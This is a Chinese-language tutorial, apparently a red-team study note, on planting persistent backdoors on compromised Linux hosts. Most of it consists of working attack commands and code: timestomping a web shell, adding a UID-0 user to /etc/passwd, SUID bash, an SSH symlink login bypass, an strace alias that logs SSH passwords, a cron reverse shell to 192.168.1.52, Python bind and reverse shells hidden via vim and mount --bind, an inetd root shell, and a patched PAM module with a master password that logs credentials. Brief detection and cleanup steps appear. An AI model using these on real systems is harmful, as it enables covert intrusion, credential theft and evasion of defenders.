1 修改文件/终端属性
1.1 文件创建时间
如果蓝队根据文件修改时间来判断文件是否为后门,如参考index.php的时间再来看shell.php的时间就可以判断shell.php的生成时间有问题
解决方法:
touch -r index.php shell.php
touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。
1.2 文件锁定
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
chattr +i 1.php #锁定文件 rm -rf 1.php #提示禁止删除 lsattr 1.php #属性查看 chattr -i 1.php #解除锁定 rm -rf 1.php #彻底删除文件
1.3 历史操作命令
在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?
技巧一:只针对你的工作关闭历史记录
[space]set +o history # 备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要重新开启历史功能,执行下面的命令:
[Space]set -o history # 将环境恢复原状
技巧二:从历史记录中删除指定的命令
1.4 passwd增加用户
/etc/passwd 各部分含义: 用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
/etc/shadow 各部分含义:
用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用写入
举例:
1.增加超级用户
perl -le 'print crypt("passwd","salt")' sadtCr0CILzv2
echo "m123:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd
2. suid后门
当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。必要条件:
1、SUID权限仅对二进制程序有效。 2、执行者对于该程序需要具有x的可执行权限 3、本权限仅在执行该程序的过程中有效 4、在执行过程中执行者将具有该程序拥有者的权限
创建suid权限的文件:
cp /bin/bash /tmp/.woot chmod 4755 /tmp/.woot ls -al /tmp/.woot
普通用户执行:
/tmp/.woot /tmp/.woot -p //bash2 针对 suid 有一些护卫的措施,使用-p参数来获取一个root shell
使用-p参数来获取一个root shell. 这个euid的意思是 effective user id(关于这些ID的知识,Real user ID, effective user ID, set user ID_set-user-id和real user id-CSDN博客)
检测:查找具有suid权限的文件即可
find / -perm +4000 -ls find / -perm -u=s -type f 2>/dev/null
3 SSH后门
3.1 SSH 软连接后门
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 检测uid 为 0 即可认证成功,这样就导致了可以使用任意密码登录
说明:建立软连接到/usr/local/su 文件,也可以在其他目录,su文件名字不能变,变了就无法登录。当然可以通过其他设置,更改su名字也是可以的。然后启动,并指定监听12345端口,登录的时候密码随意即可
-
通过软连接建立一个ssh后门:ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
-
ssh连接:ssh kali@192.168.1.52 -p12345
3.2 SSH 公钥免密码登陆
这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接,Redis未授权访问等情景。
1 生成公钥: ssh-keygen -t rsa
2 将id_rsa.pub内容放到目标.ssh/authorized_keys里: cat id_rsa.pub > authorized_keys
3 获取 id_rsa 文件
4 设置权限:
注意,因为centos7是以root用户身份创建的SSH公钥,因此kali只有以root用户的身份连接它才不需要密码
chmod 600 id_rsa ssh -i id_rsa root2@192.168.1.28
3.3 SSH Keylogger记录密码
当前系统如果存在strace的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。倘若当前系统不存在alias,那么就会影响其正常使用。
1 在当前用户的 .bashrc 里新建一条alias,这样可以抓取他登陆其他机器的 ssh 密码。
vim .bashrc alias ssh='strace -o /tmp/.sshpwd-`date '+%Y-%m-%d'`.log -e read,write,connect - s2048 ssh' source .bashrc # 重新执行刚修改的初始化文件
2 centos7登录别的设备
查收战果:
cat .sshpwd-2024-03-28.log
4.centos7.9利用Cron机制安装后门
首先,说明一下,Cron是centos7.9下默认启动的用户执行计划。它会按照设置,在固定的周期或者按照一定时间执行某一个任务。它是一项服务,你可以使用基本的服务查看状态命令等查看信息。
service cron status
crontab -u root -r 删除 crontab -u root -l 查看 crontab -u root -e 修改 CentOS写入任务: * * * * * bash -i >& /dev/tcp/192.168.1.52/7777 0>&1
Kali: nc -lvvp 7777
5 vim python 扩展后门
适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。
1 在目标设备上创建恶意py文件
恶意脚本 dir.py 的内容可以是任何功能的后门,比如监听本地的11端口。建议使用正向后门。
正向后门:
from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server = socket(AF_INET, SOCK_STREAM) server.bind(('0.0.0.0', 11)) server.listen(5) print('waiting for connect') talk, addr = server.accept() print('connect from', addr) proc = subprocess.Popen(["/bin/sh", "-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)
反向后门:
import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.52", 6666)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(["/bin/sh", "-i"])
2 隐藏后门
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) #将nohup的执行结果输出到/dev/null中 #其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。 #“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误 输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结 果是否正确,都不会有输出。
将netstat -anpt 查看到的可疑连接隐藏起来,解决方法:
既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上
(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
3.kali连接目标
4.隐藏进程
11端口运行个vim太引人注目了,需要隐藏。 mount --bind 命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。
mkdir null mount --bind null /proc/2239 netstat -antplu | grep 11
查看 cat /proc/$$/mountinfo 可以看到挂在的目录
sudo umount /proc/2607
sudo netstat -anpt
ps aux | grep 2607
6 inetd服务后门
inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。
1 安装inetd:apt install openbsd-inetd
2 修改inetd默认端口
vim /etc/services woot 6666/tcp # 随便起个名字和端口
3 修改 inetd 配置文件
vim /etc/inetd.conf woot stream tcp nowait root /bin/bash bash -i
4 确认端口开启
inetd netstat -pantu | grep 6666
5 kali连接目标
nc -vv 192.168.1.13 6666
7 协议后门
在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉。但是对于UDP(DNS、ICMP)相关流量通常不会拦截。。
7.1 ICMP
主要原理就是利用ICMP中可控的data字段进行数据传输,具体原理请参考: 小白必看!ICMP隐蔽隧道从入门到精通 - 知乎
开源工具:ICMP后门项目地址:GitHub - andreafabrizi/prism: PRISM is an user space stealth reverse shell backdoor, written in pure C.
7.2 DNS
在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。主要原理就是将后门载荷隐藏在拥有PTR记录和A记录的DNS域中(也可以利用AAAA记录和IPv6地址传输后门),具体请参考:通过DNS传输后门来绕过杀软
开源工具:DNS后门项目地址:GitHub - DamonMohammadbagher/NativePayload_DNS: C# code for Transferring Backdoor Payloads by DNS Traffic and Bypassing Anti-viruses
协议后门检测:对于DNS/ICMP这种协议后门,直接查看网络连接即可,因为在使用过程中会产生大量的网络连接
清除:kill进程、删除文件即可
8 PAM后门
8.1 pam介绍
在过去,我们想要对一个使用者进行认证 (authentication),得要要求用户输入账号口令, 然后透过自行撰写的程序来判断该账号口令是否正确。也因为如此,我们常常得使用不同的机制来判断账号口令,所以搞的一部主机上面拥有多个各别的认证系统,也造成账号口令可能不同步的验证问题! 为了解决这个问题因此有了 PAM (Pluggable Authentication Modules, 嵌入式模块) 的机制!
PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题。
从pam的介绍中,我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。
8.2 植入 PAM 后门
第一步:
在 centos7 环境下,首先需要关闭 selinux 和临时关闭 setenforce 0
vim /etc/sysconfig/selinux SELINUX=enforcing #默认开启 SELINUX=disabled #默认关闭
第二步:查看 pam 版本号
发现是 1.1.8 版本
rpm -qa|grep pam
第三步:下载对应版本的 pam 源码包
pam下载地址:blfs-conglomeration-Linux-PAM安装包下载_开源镜像站-阿里云
选择 pam1.1.8
解压 PAM tar包
tar -xvf Linux-PAM-1.1.8.tar
第四步:安装gcc编译器和flex库
yum install flex gcc flex-devel -y
第五步:留 PAM 后门和保存 ssh登录的账户密码
修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 源码实现自定义密码认证和保存登录密码
if(strcmp("fuckyou",p)==0){return PAM_SUCCESS;} if(retval == PAM_SUCCESS){ FILE * fp; fp = fopen("/tmp/.sshlog", "a"); fprintf(fp, "%s : %s\n", name, p); fclose(fp);}
第六步:编译
cd Linux-PAM-1.1.8/ ./configure make
第七步:备份原有的 pam_unix.so
编译成功会生成pam_unix.so的动态链接库文件,该文件存放于Linux-PAM-1.1.8/modules/pam_unix/.libs根目录下
cd Linux-PAM-1.1.8/modules/pam_unix/.libs
使用find命令去寻找系统原有的pam_unix.so文件:
find / -name "pam_uninx.so"
防止出现错误 ssh 登录不上了
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
第八步:复制新 PAM 模块到 /lib64/security/ 目录下:
cp Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
第九步:登录测试
本地登录测试
ssh root@127.0.0.1
远程登录测试
查看 ssh 登录账号密码保存位置,root 账户的密码被成功保存
cd /tmp ls -a cat .sshlog
8.3 PAM 后门——应急响应发现
第一步:查看可以连接
netstat -anpt
第二步:检查pam_unix.so的修改时间
因为 pam 后门是替换文件,所以查看文件的修改时间,如果为最近的时间就是被替换了。(没有可以连接的时候也可以查看)
stat /lib/security/pam_unix.so #32位 stat /lib64/security/pam_unix.so #64位
如图所示,时间就是最近的时间,有问题。
第三步:清除 pam 后门
yum reinstall pam
这个命令用于删除可能存在后门的pam_login_unix.so文件。
rm -rf /lib64/security/pam_unix.so
再次 xhell 连接,提示登录不成功,后门被清除